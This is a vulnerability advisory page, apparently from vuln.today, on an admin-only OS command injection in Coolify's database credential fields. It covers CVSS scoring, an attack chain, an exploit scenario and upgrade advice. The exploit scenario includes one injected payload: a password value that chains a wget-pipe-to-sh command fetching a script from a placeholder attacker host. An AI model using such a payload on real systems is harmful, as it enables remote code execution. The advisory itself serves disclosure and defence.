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Coolify CVE-2026-42201

| EUVDEUVD-2026-41999 LOW
OS Command Injection (CWE-78)
2026-07-07 GitHub_M
3.3
CVSS 3.1 · Vendor: GitHub_M

Severity by source

Vendor (GitHub_M) PRIMARY
3.3 LOW
AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
vuln.today AI
3.3 LOW

Admin credentials required (PR:H) and YAML-plus-shell payload crafting complexity (AC:H) dominate; container-scoped limited reads and writes justify C:L/I:L with no availability impact.

3.1 AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Jul 07, 2026 - 06:16 EUVD
Analysis Generated
Jul 07, 2026 - 05:17 vuln.today

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, database credential fields (redis_password, keydb_password, dragonfly_password, clickhouse_admin_user, clickhouse_admin_password, postgres_user, mysql_user) are validated only as 'string' at the API layer, with zero shell-safety checks. These values are then interpolated directly into Docker Compose YAML command: strings without any escaping. This issue is fixed in version 4.0.0-beta.474.

AnalysisAI

OS command injection in Coolify's database service configuration API allows authenticated administrators to execute arbitrary shell commands within Docker container contexts by embedding shell metacharacters into database credential fields. All Coolify versions prior to 4.0.0-beta.474 are affected, covering deployments managing Redis, KeyDB, Dragonfly, ClickHouse, PostgreSQL, and MySQL services. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain Coolify admin credentials via phishing or compromise
Delivery
Authenticate to Coolify API or web UI
Exploit
Set malicious shell payload in database credential field (e.g., redis_password)
Execution
Trigger container restart or new deployment
Persist
Docker Compose processes YAML command: string with unsanitized credential value
Impact
Injected OS commands execute within container context

Vulnerability AssessmentAI

Exploitation Exploitation requires an active, authenticated Coolify administrator session (confirmed by CVSS PR:H). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The NVD-assigned CVSS 3.1 score of 3.3 (Low) with vector AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N accurately captures the dominant risk-reduction factor: exploitation requires a fully-authenticated Coolify administrator account (PR:H). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who has obtained Coolify administrator credentials - through phishing, credential stuffing against a weak password, or an insider threat - navigates to a database resource configuration page and sets a credential field such as redis_password to a value like validpass; wget -qO- http://attacker.example/shell.sh | sh. When Coolify interpolates this value into a Docker Compose YAML command: string and the container is subsequently started or restarted, the injected command executes within the container's runtime context. …
Remediation Upgrade to Coolify version 4.0.0-beta.474 or later, which resolves the injection vulnerability per the vendor security advisory at https://github.com/coollabsio/coolify/security/advisories/GHSA-f35h-g2c2-q36v and the corresponding code fix in commit bff6d853708f3d7c861279586f107739036e67da (https://github.com/coollabsio/coolify/pull/9676). … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-42201 vulnerability details – vuln.today

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